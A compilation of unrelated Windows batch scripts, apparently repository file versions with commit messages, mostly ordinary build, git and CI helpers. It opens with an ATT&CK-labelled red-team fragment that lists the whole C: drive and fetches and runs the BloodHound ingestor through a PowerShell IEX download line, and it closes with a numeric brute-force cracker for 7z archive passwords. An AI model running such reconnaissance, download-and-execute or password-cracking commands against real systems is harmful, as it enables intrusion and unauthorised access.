:: Technique: File and Directory Discovery https://attack.mitre.org/wiki/Technique/T1083

dir /s c:\ >> %temp%\download

:: Tactic: Execution
:: Technique: Powershell https://attack.mitre.org/wiki/Technique/T1086
:: Download and invoke BloodHound Ingestor

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-BloodHoundData"

Update chain_reaction_Fission.bat

Update chain_reaction_Fission.bat


@echo off

if not exist tmp mkdir tmp

echo eth0 > tmp/ethernet-device.txt
copy /y nul "tmp/pypirc.txt"

set /p USER_NAME="User name: "
:: TODO: Make files with newlines. This would add a newline.
::echo %USER_NAME% > tmp/user-name.txt
echo|set /p=%USER_NAME% > tmp/user-name.txt

set /p FULL_NAME="Full name: "
echo|set /p=%FULL_NAME% > tmp/full-name.txt

set /p DOMAIN="Domain: "
echo|set /p=%DOMAIN% > tmp/domain.txt

vagrant up
pause

add pause command to create.bat at the end


@echo off
setlocal
cls
git show-branch --list feature-*
echo .
SET /P feature_branch="Please enter name of feature branch: feature-"
echo.
echo Change to feature branch
git checkout feature-%feature_branch%
echo.
echo.
echo Pull current version from GitHub
git pull origin feature-%feature_branch%
echo.
echo.
echo Status of branch:
git status -s
echo.
echo.
SET /P handwork="Do you need to do some manual merges [y/n]?"
IF "%handwork%" == "y" GOTO exit
echo.
echo.
echo Commiting Changes to local feature branch
git commit -a
echo.
echo.
echo Pushing changes to GitHub
git push origin feature-%feature_branch%
echo.
echo.
echo Change to develop branch
git checkout develop
echo.
echo.
echo Get all changes from Github
git pull origin develop
echo.
echo.
SET /P handwork="Do you need to do some manual merges [y/n]?"
IF "%handwork%" == "y" GOTO exit
echo.
echo.
echo Start Pull Request for Feature to master
git request-pull feature-%feature_branch% origin master

echo Now Please Go To GitHub and Do a Pull Request on feature-%feature_branch%
echo Or continue with the after-festure-pull-request.bat

endlocal

:exit
echo Feature Branch batch job ended

@echo off
setlocal
cls
git show-branch --list feature-*
echo .
SET /P feature_branch="Please enter name of feature branch: feature-"
echo.
echo Change to feature branch
git checkout feature-%feature_branch%
echo.
echo.
echo Pull current version from GitHub
git pull origin feature-%feature_branch%
echo.
echo.
echo Status of branch:
git status -s
echo.
echo.
SET /P handwork="Do you need to do some manual merges [y/n]?"
IF "%handwork%" == "y" GOTO exit
echo.
echo.
echo Commiting Changes to local feature branch
git commit -a
echo.
echo.
echo Pushing changes to GitHub
git push origin feature-%feature_branch%
echo.
echo.
echo Change to develop branch
git checkout develop
echo.
echo.
echo Get all changes from Github
git pull origin develop
echo.
echo.
SET /P handwork="Do you need to do some manual merges [y/n]?"
IF "%handwork%" == "y" GOTO exit
echo.
echo.
echo Start Pull Request for Feature to master
git request-pull feature-%feature_branch% origin develop

echo Now Please Go To GitHub and Do a Pull Request on feature-%feature_branch%
echo Or continue with the after-festure-pull-request.bat

endlocal

:exit
echo Feature Branch batch job ended

change script

change script


@echo off
setlocal

REM Workaround https://github.com/dotnet/coreclr/issues/2153
set ComPlus_ReadyToRun=0

set INIT_TOOLS_LOG=%~dp0init-tools.log
set PACKAGES_DIR=%~dp0packages\
set TOOLRUNTIME_DIR=%~dp0Tools
set DOTNET_PATH=%TOOLRUNTIME_DIR%\dotnetcli\
set DOTNET_CMD=%DOTNET_PATH%bin\dotnet.exe
if [%BUILDTOOLS_SOURCE%]==[] set BUILDTOOLS_SOURCE=https://www.myget.org/F/dotnet-buildtools/
set /P BUILDTOOLS_VERSION=< %~dp0BuildToolsVersion.txt
set BUILD_TOOLS_PATH=%PACKAGES_DIR%Microsoft.DotNet.BuildTools\%BUILDTOOLS_VERSION%\lib\
set PROJECT_JSON_PATH=%TOOLRUNTIME_DIR%\%BUILDTOOLS_VERSION%
set PROJECT_JSON_FILE=%PROJECT_JSON_PATH%\project.json
set PROJECT_JSON_CONTENTS={ "dependencies": { "Microsoft.DotNet.BuildTools": "%BUILDTOOLS_VERSION%" }, "frameworks": { "dnxcore50": { } } }
set BUILD_TOOLS_SEMAPHORE=%PROJECT_JSON_PATH%\init-tools.completed

:: if force option is specified then clean the tool runtime and build tools package directory to force it to get recreated
if [%1]==[force] (
  if exist "%TOOLRUNTIME_DIR%" rmdir /S /Q "%TOOLRUNTIME_DIR%"
  if exist "%PACKAGES_DIR%Microsoft.DotNet.BuildTools" rmdir /S /Q "%PACKAGES_DIR%Microsoft.DotNet.BuildTools"
)

:: If sempahore exists do nothing
if exist "%BUILD_TOOLS_SEMAPHORE%" (
  echo Tools are already initialized.
  goto :EOF
)

:: Download nuget
if NOT exist "%PACKAGES_DIR%\NuGet.exe" (
  if NOT exist "PACKAGES_DIR" mkdir "%PACKAGES_DIR%"
  powershell -NoProfile -ExecutionPolicy unrestricted -Command "(New-Object Net.WebClient).DownloadFile('https://www.nuget.org/nuget.exe', '%PACKAGES_DIR%\NuGet.exe')
)

if NOT exist "%PROJECT_JSON_PATH%" mkdir "%PROJECT_JSON_PATH%"
echo %PROJECT_JSON_CONTENTS% > %PROJECT_JSON_FILE%
echo Running %0 > %INIT_TOOLS_LOG%

if exist "%DOTNET_CMD%" goto :afterdotnetrestore

echo Installing dotnet cli...
if NOT exist "%DOTNET_PATH%" mkdir "%DOTNET_PATH%"
set /p DOTNET_VERSION=< %~dp0DotnetCLIVersion.txt
set DOTNET_ZIP_NAME=dotnet-win-x64.%DOTNET_VERSION%.zip
set DOTNET_REMOTE_PATH=https://dotnetcli.blob.core.windows.net/dotnet/dev/Binaries/%DOTNET_VERSION%/%DOTNET_ZIP_NAME%
set DOTNET_LOCAL_PATH=%DOTNET_PATH%%DOTNET_ZIP_NAME%
echo Installing '%DOTNET_REMOTE_PATH%' to '%DOTNET_LOCAL_PATH%' >> %INIT_TOOLS_LOG%
powershell -NoProfile -ExecutionPolicy unrestricted -Command "(New-Object Net.WebClient).DownloadFile('%DOTNET_REMOTE_PATH%', '%DOTNET_LOCAL_PATH%'); Add-Type -Assembly 'System.IO.Compression.FileSystem' -ErrorVariable AddTypeErrors; if ($AddTypeErrors.Count -eq 0) { [System.IO.Compression.ZipFile]::ExtractToDirectory('%DOTNET_LOCAL_PATH%', '%DOTNET_PATH%') } else { (New-Object -com shell.application).namespace('%DOTNET_PATH%').CopyHere((new-object -com shell.application).namespace('%DOTNET_LOCAL_PATH%').Items(),16) }" >> %INIT_TOOLS_LOG%
if NOT exist "%DOTNET_LOCAL_PATH%" (
  echo ERROR: Could not install dotnet cli correctly. See '%INIT_TOOLS_LOG%' for more details.
  goto :EOF
)

:afterdotnetrestore

if exist "%BUILD_TOOLS_PATH%" goto :afterbuildtoolsrestore
echo Restoring BuildTools version %BUILDTOOLS_VERSION%...
echo Running: "%DOTNET_CMD%" restore "%PROJECT_JSON_FILE%" --packages %PACKAGES_DIR% --source "%BUILDTOOLS_SOURCE%" >> %INIT_TOOLS_LOG%
call "%DOTNET_CMD%" restore "%PROJECT_JSON_FILE%" --packages %PACKAGES_DIR% --source "%BUILDTOOLS_SOURCE%" >> %INIT_TOOLS_LOG%
if NOT exist "%BUILD_TOOLS_PATH%init-tools.cmd" (
  echo ERROR: Could not restore build tools correctly. See '%INIT_TOOLS_LOG%' for more details.
  goto :EOF
)

:afterbuildtoolsrestore

echo Initializing BuildTools ...
echo Running: "%BUILD_TOOLS_PATH%init-tools.cmd" "%~dp0" "%DOTNET_CMD%" "%TOOLRUNTIME_DIR%" >> %INIT_TOOLS_LOG%
call "%BUILD_TOOLS_PATH%init-tools.cmd" "%~dp0" "%DOTNET_CMD%" "%TOOLRUNTIME_DIR%" >> %INIT_TOOLS_LOG%

:: Create sempahore file
echo Done initializing tools.
echo Init-Tools.cmd completed for BuildTools Version: %BUILDTOOLS_VERSION% > "%BUILD_TOOLS_SEMAPHORE%"

@echo off
setlocal

REM Workaround https://github.com/dotnet/coreclr/issues/2153
set ComPlus_ReadyToRun=0

set INIT_TOOLS_LOG=%~dp0init-tools.log
set PACKAGES_DIR=%~dp0packages\
set TOOLRUNTIME_DIR=%~dp0Tools
set DOTNET_PATH=%TOOLRUNTIME_DIR%\dotnetcli\
set DOTNET_CMD=%DOTNET_PATH%bin\dotnet.exe
if [%BUILDTOOLS_SOURCE%]==[] set BUILDTOOLS_SOURCE=https://www.myget.org/F/dotnet-buildtools/
set /P BUILDTOOLS_VERSION=< %~dp0BuildToolsVersion.txt
set BUILD_TOOLS_PATH=%PACKAGES_DIR%Microsoft.DotNet.BuildTools\%BUILDTOOLS_VERSION%\lib\
set PROJECT_JSON_PATH=%TOOLRUNTIME_DIR%\%BUILDTOOLS_VERSION%
set PROJECT_JSON_FILE=%PROJECT_JSON_PATH%\project.json
set PROJECT_JSON_CONTENTS={ "dependencies": { "Microsoft.DotNet.BuildTools": "%BUILDTOOLS_VERSION%" }, "frameworks": { "dnxcore50": { } } }
set BUILD_TOOLS_SEMAPHORE=%PROJECT_JSON_PATH%\init-tools.completed

:: if force option is specified then clean the tool runtime and build tools package directory to force it to get recreated
if [%1]==[force] (
  if exist "%TOOLRUNTIME_DIR%" rmdir /S /Q "%TOOLRUNTIME_DIR%"
  if exist "%PACKAGES_DIR%Microsoft.DotNet.BuildTools" rmdir /S /Q "%PACKAGES_DIR%Microsoft.DotNet.BuildTools"
)

:: If sempahore exists do nothing
if exist "%BUILD_TOOLS_SEMAPHORE%" (
  echo Tools are already initialized.
  goto :EOF
)

if exist "%TOOLRUNTIME_DIR%" rmdir /S /Q "%TOOLRUNTIME_DIR%"

:: Download nuget
if NOT exist "%PACKAGES_DIR%\NuGet.exe" (
  if NOT exist "PACKAGES_DIR" mkdir "%PACKAGES_DIR%"
  powershell -NoProfile -ExecutionPolicy unrestricted -Command "(New-Object Net.WebClient).DownloadFile('https://www.nuget.org/nuget.exe', '%PACKAGES_DIR%\NuGet.exe')
)

if NOT exist "%PROJECT_JSON_PATH%" mkdir "%PROJECT_JSON_PATH%"
echo %PROJECT_JSON_CONTENTS% > %PROJECT_JSON_FILE%
echo Running %0 > %INIT_TOOLS_LOG%

if exist "%DOTNET_CMD%" goto :afterdotnetrestore

echo Installing dotnet cli...
if NOT exist "%DOTNET_PATH%" mkdir "%DOTNET_PATH%"
set /p DOTNET_VERSION=< %~dp0DotnetCLIVersion.txt
set DOTNET_ZIP_NAME=dotnet-win-x64.%DOTNET_VERSION%.zip
set DOTNET_REMOTE_PATH=https://dotnetcli.blob.core.windows.net/dotnet/dev/Binaries/%DOTNET_VERSION%/%DOTNET_ZIP_NAME%
set DOTNET_LOCAL_PATH=%DOTNET_PATH%%DOTNET_ZIP_NAME%
echo Installing '%DOTNET_REMOTE_PATH%' to '%DOTNET_LOCAL_PATH%' >> %INIT_TOOLS_LOG%
powershell -NoProfile -ExecutionPolicy unrestricted -Command "(New-Object Net.WebClient).DownloadFile('%DOTNET_REMOTE_PATH%', '%DOTNET_LOCAL_PATH%'); Add-Type -Assembly 'System.IO.Compression.FileSystem' -ErrorVariable AddTypeErrors; if ($AddTypeErrors.Count -eq 0) { [System.IO.Compression.ZipFile]::ExtractToDirectory('%DOTNET_LOCAL_PATH%', '%DOTNET_PATH%') } else { (New-Object -com shell.application).namespace('%DOTNET_PATH%').CopyHere((new-object -com shell.application).namespace('%DOTNET_LOCAL_PATH%').Items(),16) }" >> %INIT_TOOLS_LOG%
if NOT exist "%DOTNET_LOCAL_PATH%" (
  echo ERROR: Could not install dotnet cli correctly. See '%INIT_TOOLS_LOG%' for more details.
  goto :EOF
)

:afterdotnetrestore

if exist "%BUILD_TOOLS_PATH%" goto :afterbuildtoolsrestore
echo Restoring BuildTools version %BUILDTOOLS_VERSION%...
echo Running: "%DOTNET_CMD%" restore "%PROJECT_JSON_FILE%" --packages %PACKAGES_DIR% --source "%BUILDTOOLS_SOURCE%" >> %INIT_TOOLS_LOG%
call "%DOTNET_CMD%" restore "%PROJECT_JSON_FILE%" --packages %PACKAGES_DIR% --source "%BUILDTOOLS_SOURCE%" >> %INIT_TOOLS_LOG%
if NOT exist "%BUILD_TOOLS_PATH%init-tools.cmd" (
  echo ERROR: Could not restore build tools correctly. See '%INIT_TOOLS_LOG%' for more details.
  goto :EOF
)

:afterbuildtoolsrestore

echo Initializing BuildTools ...
echo Running: "%BUILD_TOOLS_PATH%init-tools.cmd" "%~dp0" "%DOTNET_CMD%" "%TOOLRUNTIME_DIR%" >> %INIT_TOOLS_LOG%
call "%BUILD_TOOLS_PATH%init-tools.cmd" "%~dp0" "%DOTNET_CMD%" "%TOOLRUNTIME_DIR%" >> %INIT_TOOLS_LOG%

:: Create sempahore file
echo Done initializing tools.
echo Init-Tools.cmd completed for BuildTools Version: %BUILDTOOLS_VERSION% > "%BUILD_TOOLS_SEMAPHORE%"

Fix Issue 474 were ToolRuntime dir wasn't getting deleted


@set dbcl_build_folder=%appveyor_build_folder%
@if not "%appveyor%" == "True" set dbcl_build_folder=%cd%

@set dbcl_artifacts_folder=%dbcl_build_folder%\reports
@if exist %dbcl_artifacts_folder%\. (del /Q %dbcl_artifacts_folder%\*) else (md %dbcl_artifacts_folder%)
@set dbcl_packages_folder=%dbcl_build_folder%\packages

@set dbcl_nunit_runner_console=%dbcl_packages_folder%\NUnit.Runners.Net4.2.6.4\tools\nunit-console-x86.exe
@set dbcl_nunit_runner_options=/nologo /noshadow /work:%dbcl_artifacts_folder%

@set dbcl_zip_console=%dbcl_packages_folder%\7-Zip.CommandLine.9.20.0\tools\7za.exe

@set dbcl_coveralls_console=%dbcl_packages_folder%\coveralls.io.1.3.4\tools\coveralls.net.exe
@set dbcl_coveralls_options=--opencover %dbcl_artifacts_folder%\OpenCover.*.xml --repo-token "%coveralls_repo_token%"

@set dbcl_report_generator_console=%dbcl_packages_folder%\ReportGenerator.2.3.5.0\tools\ReportGenerator.exe
@set dbcl_report_generator_options=-targetdir:%dbcl_artifacts_folder% -reports:%dbcl_artifacts_folder%\OpenCover.*.xml

@Rem OpenCover Debug Build
@set OpenCoverDebugBuild="E:\GitHub\opencover\main\bin\Debug\OpenCover.Console.exe"

@Rem OpenCover Release Build
@set OpenCoverReleaseBuild="E:\GitHub\opencover\main\bin\Release\OpenCover.Console.exe"

@Rem OpenCover MSI Installed
@set OpenCoverMsiInstalled="C:\Program Files (x86)\OpenCover\OpenCover.Console.exe"

@Rem OpenCover Nuget Package
@Rem set OpenCoverNugetPackage=".\packages\OpenCover.4.6.166\tools\OpenCover.Console.exe"
@set OpenCoverNugetPackage=".\packages\OpenCover.4.6.401-rc\tools\OpenCover.Console.exe"

@Rem OpenCover Command
@set OpenCoverCommand=%OpenCoverNugetPackage%

@if "%appveyor%" == "True" goto start_build

@rem use OpenCover release build for local build and coverage reports
@set OpenCoverCommand=%OpenCoverReleaseBuild%

@rem copy OpenCover release build into SharpDevelop bin&src
@del /Q /S E:\GitHub\SharpDevelop\bin\Tools\OpenCover\*
@del /Q /S E:\GitHub\SharpDevelop\src\Tools\OpenCover\*
@xcopy E:\GitHub\opencover\main\bin\Release\* E:\GitHub\SharpDevelop\src\Tools\OpenCover\ /S
@xcopy E:\GitHub\opencover\main\bin\Release\* E:\GitHub\SharpDevelop\bin\Tools\OpenCover\ /S
@if "%pause%" == "True" pause

:start_build

@Rem OpenCover Options
@set OpenCoverOptions=-register:user -threshold:1 -mergebyhash -hideskipped:All

@Rem OpenCover command
@set OpenCoverCommandAndOptions=%OpenCoverCommand% %OpenCoverOptions%

@echo AppVeyor env.variable: %appveyor%
@echo AppVeyor Build Folder: %appveyor_build_folder%
@echo Current        Folder: %cd%
@echo dbcl Artifacts Folder: %dbcl_artifacts_folder%
@echo dbcl     Build Folder: %dbcl_build_folder%
@echo NUnit         Options: %dbcl_nunit_runner_options%
@echo OpenCover     Command: %OpenCoverCommand%
@echo OpenCover     Options: %OpenCoverOptions%
@%OpenCoverCommand% -version
@echo.

@Rem Local Build?
@if "%appveyor%" == "True" goto run-all-tests
@if not exist "C:\Program Files (x86)\MSBuild\12.0\Bin\MSBuild.exe" goto run-all-tests
@if not exist "E:\cov-analysis-win64-7.7.0.4\bin\cov-build.exe" goto run-all-tests
@Rem E:\cov-analysis-win64-7.7.0.4\bin\cov-build --dir cov-int "C:\Program Files (x86)\MSBuild\12.0\Bin\MSBuild.exe" DBCL.sln /t:Clean,Build
@"C:\Program Files (x86)\MSBuild\12.0\Bin\MSBuild.exe" DBCL.sln /t:Clean,Build

:run-all-tests
@call :run-single-test "Extensions"  "+[DBCL]DD.Extends*"
@call :run-single-test "ICodeSet"    "+[DBCL]DD.Collections.ICodeSet* +[DBCL]DD.Text*"
@call :run-single-test "BitSetArray" "+[DBCL]DD.Collections.BitSetArray*"
@call :run-single-test "Diagnostics" "+[DBCL]DD.Diagnostics*"
@exit /b

:run-single-test
@echo assembly  name: %1
@echo filter applied: %2
@%OpenCoverCommandAndOptions% ^
-output:"%dbcl_artifacts_folder%\OpenCover.%1.xml" ^
-filter:%2 ^
-target:"%dbcl_nunit_runner_console%" ^
-targetdir:".\Source\Test\NUnit.%1\bin\Debug" ^
-targetargs:"NUnit.%1.dll /result:\"NUnit.%1.xml\" %dbcl_nunit_runner_options%"
@echo -------------------------------------
@echo.
@echo %date%
@echo %time%
@if "%appveyor%" == "True" exit /b
@if exist ".\Source\Test\NUnit.%1\OpenCover" copy /Y "%dbcl_artifacts_folder%\OpenCover.%1.xml" ".\Source\Test\NUnit.%1\OpenCover\coverage.xml"
@if "%pause%" == "True" pause
@exit /b

@set dbcl_build_folder=%appveyor_build_folder%
@if not "%appveyor%" == "True" set dbcl_build_folder=%cd%

@set dbcl_artifacts_folder=%dbcl_build_folder%\reports
@if exist %dbcl_artifacts_folder%\. (del /Q %dbcl_artifacts_folder%\*) else (md %dbcl_artifacts_folder%)
@set dbcl_packages_folder=%dbcl_build_folder%\packages

@set dbcl_nunit_runner_console=%dbcl_packages_folder%\NUnit.Runners.Net4.2.6.4\tools\nunit-console-x86.exe
@set dbcl_nunit_runner_options=/nologo /noshadow /work:%dbcl_artifacts_folder%

@set dbcl_zip_console=%dbcl_packages_folder%\7-Zip.CommandLine.9.20.0\tools\7za.exe

@set dbcl_coveralls_console=%dbcl_packages_folder%\coveralls.io.1.3.4\tools\coveralls.net.exe
@set dbcl_coveralls_options=--opencover %dbcl_artifacts_folder%\OpenCover.*.xml --repo-token "%coveralls_repo_token%"

@set dbcl_report_generator_console=%dbcl_packages_folder%\ReportGenerator.2.3.5.0\tools\ReportGenerator.exe
@set dbcl_report_generator_options=-targetdir:%dbcl_artifacts_folder% -reports:%dbcl_artifacts_folder%\OpenCover.*.xml

@Rem OpenCover Debug Build
@set OpenCoverDebugBuild="E:\GitHub\opencover\main\bin\Debug\OpenCover.Console.exe"

@Rem OpenCover Release Build
@set OpenCoverReleaseBuild="E:\GitHub\opencover\main\bin\Release\OpenCover.Console.exe"

@Rem OpenCover MSI Installed
@set OpenCoverMsiInstalled="C:\Program Files (x86)\OpenCover\OpenCover.Console.exe"

@Rem OpenCover Nuget Package
@Rem set OpenCoverNugetPackage=".\packages\OpenCover.4.6.166\tools\OpenCover.Console.exe"
@set OpenCoverNugetPackage=".\packages\OpenCover.4.6.401-rc\tools\OpenCover.Console.exe"

@Rem OpenCover Command
@set OpenCoverCommand=%OpenCoverNugetPackage%

@if "%appveyor%" == "True" goto start-opencover

@rem use OpenCover release build for local build and coverage reports
@set OpenCoverCommand=%OpenCoverReleaseBuild%

@rem copy OpenCover release build into SharpDevelop bin
@del /Q /S E:\GitHub\SharpDevelop\bin\Tools\OpenCover\*
@del /Q /S E:\GitHub\SharpDevelop\src\Tools\OpenCover\*
@xcopy E:\GitHub\opencover\main\bin\Release\* E:\GitHub\SharpDevelop\src\Tools\OpenCover\ /S
@xcopy E:\GitHub\opencover\main\bin\Release\* E:\GitHub\SharpDevelop\bin\Tools\OpenCover\ /S

@Rem Local Build?
@if not exist "C:\Program Files (x86)\MSBuild\12.0\Bin\MSBuild.exe" goto start-opencover
@"C:\Program Files (x86)\MSBuild\12.0\Bin\MSBuild.exe" DBCL.sln /t:Clean,Build
@Rem if not exist "E:\cov-analysis-win64-7.7.0.4\bin\cov-build.exe" goto start-opencover
@Rem E:\cov-analysis-win64-7.7.0.4\bin\cov-build --dir cov-int "C:\Program Files (x86)\MSBuild\12.0\Bin\MSBuild.exe" DBCL.sln /t:Clean,Build

:start-opencover

@Rem OpenCover Options
@set OpenCoverOptions=-register:user -threshold:1 -mergebyhash -hideskipped:All

@Rem OpenCover command
@set OpenCoverCommandAndOptions=%OpenCoverCommand% %OpenCoverOptions%

@echo AppVeyor env.variable: %appveyor%
@echo AppVeyor Build Folder: %appveyor_build_folder%
@echo Current        Folder: %cd%
@echo dbcl Artifacts Folder: %dbcl_artifacts_folder%
@echo dbcl     Build Folder: %dbcl_build_folder%
@echo NUnit         Options: %dbcl_nunit_runner_options%
@echo OpenCover     Command: %OpenCoverCommand%
@echo OpenCover     Options: %OpenCoverOptions%
@%OpenCoverCommand% -version
@echo.

:run-all-tests
@call :run-single-test "Extensions"  "+[DBCL]DD.Extends*"
@call :run-single-test "ICodeSet"    "+[DBCL]DD.Collections.ICodeSet* +[DBCL]DD.Text*"
@call :run-single-test "BitSetArray" "+[DBCL]DD.Collections.BitSetArray*"
@call :run-single-test "Diagnostics" "+[DBCL]DD.Diagnostics*"
@exit /b

:run-single-test
@echo assembly  name: %1
@echo filter applied: %2
@%OpenCoverCommandAndOptions% ^
-output:"%dbcl_artifacts_folder%\OpenCover.%1.xml" ^
-filter:%2 ^
-target:"%dbcl_nunit_runner_console%" ^
-targetdir:".\Source\Test\NUnit.%1\bin\Debug" ^
-targetargs:"NUnit.%1.dll /result:\"NUnit.%1.xml\" %dbcl_nunit_runner_options%"
@echo -------------------------------------
@echo.
@echo %date%
@echo %time%
@if "%appveyor%" == "True" exit /b
@if exist ".\Source\Test\NUnit.%1\OpenCover" copy /Y "%dbcl_artifacts_folder%\OpenCover.%1.xml" ".\Source\Test\NUnit.%1\OpenCover\coverage.xml"
@if "%pause%" == "True" pause
@exit /b

Rename batch label

Rename batch label


mkdir build
cd build

set "CC=clang-cl.exe"
set "CXX=clang-cl.exe"

cmake ^
    -G "NMake Makefiles" ^
    -DCMAKE_INSTALL_PREFIX=%LIBRARY_PREFIX% ^
    -DCMAKE_PREFIX_PATH=%LIBRARY_PREFIX% ^
    -DCMAKE_BUILD_TYPE=Release ^
    -DCMAKE_INSTALL_LIBDIR=lib ^
    -DBUILD_SHARED_LIBS=ON ^
    %SRC_DIR%
if errorlevel 1 exit 1

:: Build.
cmake --build . --config Release
if errorlevel 1 exit 1

:: Install.
cmake --build . --config Release --target install
if errorlevel 1 exit 1

mkdir build
cd build

cmake ^
    -G "NMake Makefiles" ^
    -DCMAKE_INSTALL_PREFIX=%LIBRARY_PREFIX% ^
    -DCMAKE_PREFIX_PATH=%LIBRARY_PREFIX% ^
    -DCMAKE_BUILD_TYPE=Release ^
    -DCMAKE_INSTALL_LIBDIR=lib ^
    -DBUILD_SHARED_LIBS=ON ^
    %SRC_DIR%
if errorlevel 1 exit 1

:: Build.
cmake --build . --config Release
if errorlevel 1 exit 1

:: Install.
cmake --build . --config Release --target install
if errorlevel 1 exit 1

Update bld.bat

Update bld.bat


@rem The cmd /C hack circumvents a regression where conda installs a conda.bat
@rem script in non-root environments.
set CONDA_INSTALL=cmd /C conda install -q -y
set PIP_INSTALL=pip install -q

@echo on

@rem Deactivate any environment
call deactivate
@rem Display root environment (for debugging)
conda list
@rem Clean up any left-over from a previous build
conda remove --all -q -y -n %CONDA_ENV%
@rem Scipy, CFFI, jinja2 and IPython are optional dependencies, but exercised in the test suite
conda create -n %CONDA_ENV% -q -y python=%PYTHON% numpy=%NUMPY% cffi pip scipy jinja2 ipython

call activate %CONDA_ENV%
@rem Install latest llvmlite build
%CONDA_INSTALL% -c numba llvmlite
@rem Install required backports for older Pythons
if %PYTHON% LSS 3.4 (%CONDA_INSTALL% enum34)
if %PYTHON% LSS 3.4 (%PIP_INSTALL% singledispatch)
if %PYTHON% LSS 3.3 (%CONDA_INSTALL% -c numba funcsigs)
@rem Install dependencies for building the documentation
if "%BUILD_DOC%" == "yes" (%CONDA_INSTALL% sphinx pygments)
if "%BUILD_DOC%" == "yes" (%PIP_INSTALL% sphinx_bootstrap_theme)
@rem Install dependencies for code coverage (codecov.io)
if "%RUN_COVERAGE%" == "yes" (%PIP_INSTALL% codecov)

if %errorlevel% neq 0 exit /b %errorlevel%

@rem The cmd /C hack circumvents a regression where conda installs a conda.bat
@rem script in non-root environments.
set CONDA_INSTALL=cmd /C conda install -q -y
set PIP_INSTALL=pip install -q

@echo on

@rem Deactivate any environment
call deactivate
@rem Display root environment (for debugging)
conda list
@rem Clean up any left-over from a previous build
conda remove --all -q -y -n %CONDA_ENV%
@rem Scipy, CFFI, jinja2 and IPython are optional dependencies, but exercised in the test suite
conda create -n %CONDA_ENV% -q -y python=%PYTHON% numpy=%NUMPY% cffi pip scipy jinja2 ipython

call activate %CONDA_ENV%
@rem Install latest llvmlite build
%CONDA_INSTALL% -c numba llvmlite
@rem Install required backports for older Pythons
if %PYTHON% LSS 3.4 (%CONDA_INSTALL% enum34)
if %PYTHON% LSS 3.4 (%PIP_INSTALL% singledispatch)
if %PYTHON% LSS 3.3 (%CONDA_INSTALL% -c numba funcsigs)
@rem Install dependencies for building the documentation
if "%BUILD_DOC%" == "yes" (%CONDA_INSTALL% sphinx pygments)
if "%BUILD_DOC%" == "yes" (%PIP_INSTALL% sphinx_bootstrap_theme)
@rem Install dependencies for code coverage (codecov.io)
if "%RUN_COVERAGE%" == "yes" (%PIP_INSTALL% codecov)
@rem Install TBB
%CONDA_INSTALL% tbb tbb-devel
if %errorlevel% neq 0 exit /b %errorlevel%

Add tbb to appveyor

Add tbb to appveyor


@echo off
REM ---------------------------------------------------------
REM Brute Force Numeric Password cracker
REM ++++++++++++++++++++++++++++++++++++
REM https://github.com/thecodeisclear/numeric-brute-7z
REM This code is provided as-is without any warranty. While
REM sufficient testing has been done on the piece of code
REM it is advised to backup any data prior to execution
REM ---------------------------------------------------------
setlocal enableDelayedExpansion

set starttime=%date%_%time%
REM change the path to the location of 7z.exe. Below path is an example
REM from the 7zip portable app
set PATH=D:\Prog\7z\App\7-Zip;%PATH%
REM change the archive name to point to the file of your choice
set archive=sample.7z
REM change the file2xtr to a sample file from the input archive
REM by attempting to extract only 1 file, the process is much faster
REM if the input file is within a folder in the archive, include it
REM in the folder variable and the filename in file2xtr
set file2xtr=sample.txt
REM folder will be blank unless the sample file to extract lies within
REM a folder of the archive ending with a \
set "folder="
REM starting counter for the script
set strtNum=0
REM ending counter for the script
set endNum=999

REM -----------------
REM Do not edit below
REM -----------------

for /L %%X in (%strtNum%, 1, %endNum%) do (

	7Z E %archive% %folder%%file2xtr% -P%%X >nul 2>&1
	if exist %file2xtr% (
		call filesize.bat %file2xtr% %%X
		if exist %file2xtr% (
			echo .
			echo - - - - - - - - - - - - - Password found: %%X
			echo .
			goto END
		)
	)

)
echo : : : : : : : : : : : : : Password not found. Please try with a different range
echo .
:END
echo Started @ %starttime%
echo Finished @ %date%_%time%

Create numbrute.bat

Create numbrute.bat

Initial Commit